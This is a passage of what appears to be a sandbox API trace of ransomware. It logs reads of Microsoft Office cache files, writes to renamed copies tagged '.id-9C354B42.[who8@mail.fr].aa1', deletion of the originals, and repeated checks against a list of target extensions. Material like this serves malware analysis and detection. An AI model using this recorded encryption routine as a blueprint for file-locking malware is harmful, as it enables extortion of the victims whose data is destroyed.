(in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0201.171] GetLastError () returned 0x0 [0201.172] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0201.202] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0201.203] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0201.203] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0201.203] SetEndOfFile (hFile=0x15c) returned 1 [0201.203] CloseHandle (hObject=0x15c) returned 1 [0201.204] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.204] SetEndOfFile (hFile=0x178) returned 1 [0201.205] CloseHandle (hObject=0x178) returned 1 [0201.206] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0201.206] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0201.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.206] lstrlenW (lpString=".doc") returned 4 [0201.207] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.207] lstrlenW (lpString=".docx") returned 5 [0201.207] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0201.207] lstrlenW (lpString=".pdf") returned 4 [0201.207] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.207] lstrlenW (lpString=".xls") returned 4 [0201.207] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.207] lstrlenW (lpString=".xlsx") returned 5 [0201.207] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0201.207] lstrlenW (lpString=".ppt") returned 4 [0201.207] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.207] lstrlenW (lpString=".zip") returned 4 [0201.207] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.207] lstrlenW (lpString=".rar") returned 4 [0201.207] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.207] lstrlenW (lpString=".bz2") returned 4 [0201.207] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.207] lstrlenW (lpString=".7z") returned 3 [0201.207] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.208] lstrlenW (lpString=".dbf") returned 4 [0201.208] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.208] lstrlenW (lpString=".1cd") returned 4 [0201.208] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.208] lstrlenW (lpString=".jpg") returned 4 [0201.208] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.208] lstrlenW (lpString=".doc") returned 4 [0201.208] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.208] lstrlenW (lpString=".docx") returned 5 [0201.208] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0201.208] lstrlenW (lpString=".pdf") returned 4 [0201.208] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.208] lstrlenW (lpString=".xls") returned 4 [0201.208] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.208] lstrlenW (lpString=".xlsx") returned 5 [0201.209] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0201.209] lstrlenW (lpString=".ppt") returned 4 [0201.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.209] lstrlenW (lpString=".zip") returned 4 [0201.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.209] lstrlenW (lpString=".rar") returned 4 [0201.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.209] lstrlenW (lpString=".bz2") returned 4 [0201.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.209] lstrlenW (lpString=".7z") returned 3 [0201.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.209] lstrlenW (lpString=".dbf") returned 4 [0201.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.209] lstrlenW (lpString=".1cd") returned 4 [0201.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.210] lstrlenW (lpString=".jpg") returned 4 [0201.210] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.210] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0201.210] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0201.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0201.211] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=16852) returned 1 [0201.211] CloseHandle (hObject=0x178) returned 1 [0201.211] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0201.212] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0201.212] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0201.212] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.212] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.212] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0201.212] GetLastError () returned 0x0 [0201.212] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0201.229] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0201.230] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0201.230] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0201.231] SetEndOfFile (hFile=0x15c) returned 1 [0201.231] CloseHandle (hObject=0x15c) returned 1 [0201.233] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.233] SetEndOfFile (hFile=0x178) returned 1 [0201.235] CloseHandle (hObject=0x178) returned 1 [0201.235] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0201.235] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0201.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.236] lstrlenW (lpString=".doc") returned 4 [0201.236] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.236] lstrlenW (lpString=".docx") returned 5 [0201.236] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0201.236] lstrlenW (lpString=".pdf") returned 4 [0201.237] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.237] lstrlenW (lpString=".xls") returned 4 [0201.238] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.238] lstrlenW (lpString=".xlsx") returned 5 [0201.238] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0201.238] lstrlenW (lpString=".ppt") returned 4 [0201.238] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.238] lstrlenW (lpString=".zip") returned 4 [0201.238] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.238] lstrlenW (lpString=".rar") returned 4 [0201.238] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.238] lstrlenW (lpString=".bz2") returned 4 [0201.238] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.238] lstrlenW (lpString=".7z") returned 3 [0201.238] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.238] lstrlenW (lpString=".dbf") returned 4 [0201.239] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.239] lstrlenW (lpString=".1cd") returned 4 [0201.239] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.239] lstrlenW (lpString=".jpg") returned 4 [0201.242] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.243] lstrlenW (lpString=".doc") returned 4 [0201.243] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.243] lstrlenW (lpString=".docx") returned 5 [0201.243] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0201.243] lstrlenW (lpString=".pdf") returned 4 [0201.243] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.243] lstrlenW (lpString=".xls") returned 4 [0201.243] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.243] lstrlenW (lpString=".xlsx") returned 5 [0201.243] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0201.243] lstrlenW (lpString=".ppt") returned 4 [0201.243] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.244] lstrlenW (lpString=".zip") returned 4 [0201.244] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.244] lstrlenW (lpString=".rar") returned 4 [0201.244] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.244] lstrlenW (lpString=".bz2") returned 4 [0201.244] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.244] lstrlenW (lpString=".7z") returned 3 [0201.244] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.244] lstrlenW (lpString=".dbf") returned 4 [0201.244] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.244] lstrlenW (lpString=".1cd") returned 4 [0201.244] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0201.245] lstrlenW (lpString=".jpg") returned 4 [0201.245] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.245] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0201.245] lstrlenW (lpString="Setup.xml") returned 9 [0201.245] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0201.247] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=31094) returned 1 [0201.247] CloseHandle (hObject=0x178) returned 1 [0201.247] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0201.247] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0201.247] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0201.247] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.248] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0201.248] GetLastError () returned 0x0 [0201.248] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x7976, lpOverlapped=0x0) returned 1 [0201.273] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0201.275] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0201.275] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0201.275] SetEndOfFile (hFile=0x15c) returned 1 [0201.275] CloseHandle (hObject=0x15c) returned 1 [0201.768] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.768] SetEndOfFile (hFile=0x178) returned 1 [0202.115] CloseHandle (hObject=0x178) returned 1 [0202.115] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0202.116] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0202.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.116] lstrlenW (lpString=".doc") returned 4 [0202.116] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.116] lstrlenW (lpString=".docx") returned 5 [0202.116] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0202.116] lstrlenW (lpString=".pdf") returned 4 [0202.116] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.116] lstrlenW (lpString=".xls") returned 4 [0202.116] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.117] lstrlenW (lpString=".xlsx") returned 5 [0202.117] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0202.117] lstrlenW (lpString=".ppt") returned 4 [0202.117] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.117] lstrlenW (lpString=".zip") returned 4 [0202.117] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.117] lstrlenW (lpString=".rar") returned 4 [0202.117] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.117] lstrlenW (lpString=".bz2") returned 4 [0202.117] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.117] lstrlenW (lpString=".7z") returned 3 [0202.117] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.117] lstrlenW (lpString=".dbf") returned 4 [0202.117] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.117] lstrlenW (lpString=".1cd") returned 4 [0202.117] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.118] lstrlenW (lpString=".jpg") returned 4 [0202.118] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.118] lstrlenW (lpString=".doc") returned 4 [0202.118] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.118] lstrlenW (lpString=".docx") returned 5 [0202.118] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0202.118] lstrlenW (lpString=".pdf") returned 4 [0202.118] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.118] lstrlenW (lpString=".xls") returned 4 [0202.118] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.118] lstrlenW (lpString=".xlsx") returned 5 [0202.118] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0202.118] lstrlenW (lpString=".ppt") returned 4 [0202.118] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.118] lstrlenW (lpString=".zip") returned 4 [0202.118] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.118] lstrlenW (lpString=".rar") returned 4 [0202.118] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.118] lstrlenW (lpString=".bz2") returned 4 [0202.118] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.118] lstrlenW (lpString=".7z") returned 3 [0202.118] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.118] lstrlenW (lpString=".dbf") returned 4 [0202.118] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.119] lstrlenW (lpString=".1cd") returned 4 [0202.119] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0202.119] lstrlenW (lpString=".jpg") returned 4 [0202.119] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.120] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0202.120] lstrlenW (lpString="VisiorWW.xml") returned 12 [0202.120] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0202.750] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=8723) returned 1 [0202.751] CloseHandle (hObject=0x1b0) returned 1 [0202.751] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0202.751] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0202.751] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 